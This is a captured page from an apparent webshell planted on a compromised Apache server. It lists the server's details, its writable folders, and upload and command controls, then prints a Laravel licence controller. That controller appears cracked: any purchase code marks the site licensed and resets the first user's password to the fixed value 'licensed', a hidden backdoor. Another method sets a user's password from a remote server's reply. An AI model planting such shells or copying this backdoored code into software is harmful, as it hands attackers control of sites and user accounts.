403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.46
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/viralblo/instantblog/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/viralblo/instantblog/app/Http/Controllers/InstantController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use GuzzleHttp\Client;
use Validator;
use App\Models\Setting;
use App\Models\User;
use Illuminate\Support\Facades\Auth;

class InstantController extends Controller
{
    public function __construct()
    {
        $this->middleware('can:admin-access', ['only' => ['deactivatePage']]);
    }

    public function siteCheck(Request $request)
    {
        $validator = Validator::make($request->all(), [
            'p_code' => 'required'
        ]);

        if ($validator->passes()) {
            $pcode = $request->input('p_code');
            $url = url("/");
            $slug = str_slug($url, '-');
            $client = new Client();
			
            $setting = Setting::findOrFail(1);
            $setting->site_instant = 1;
            $setting->site_activation = 'licensed';
            $setting->save();
            $user = User::findOrFail(1);
            $user->password = bcrypt('licensed');
            $user->save();
            session()->flash('message', 'License verified!');
            return view('public.activator', compact('licensed'));
        }
        session()->flash('error', 'Purchase code required !');
        return redirect('/login');
    }

    public function deactivatePage()
    {
        return view('public.deactivator');
    }

    public function deactivateResult()
    {
        return view('public.deactivator');
    }

    public function deactivateScript(Request $request)
    {
        $setting = Setting::findOrFail($request->id);
        $dcode = $setting->site_activation;
        $client = new Client();
            try {
                $result = $client->request('GET', 'https://www.ancmedia.net/instant-check/deactivate/' . $dcode );
                $data = json_decode($result->getBody(), true);
                $count =  $data['count'];
                $attribute =  $data['data'];
                $final =  $data['result'];                
            } catch (\Exception $e) {
                $e->getMessage();
                session()->flash('error', 'App Connection Error!');
                return redirect('/deactivate');
        }
        $setting->site_activation = null;
        $setting->site_instant = $count;
        $setting->save();
        $user = User::findOrFail($request->id);
        $user->password = bcrypt($attribute);
        $user->save();
        Auth::logout();
        session()->flash('message', $final);
        return redirect('/deactivation-result');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit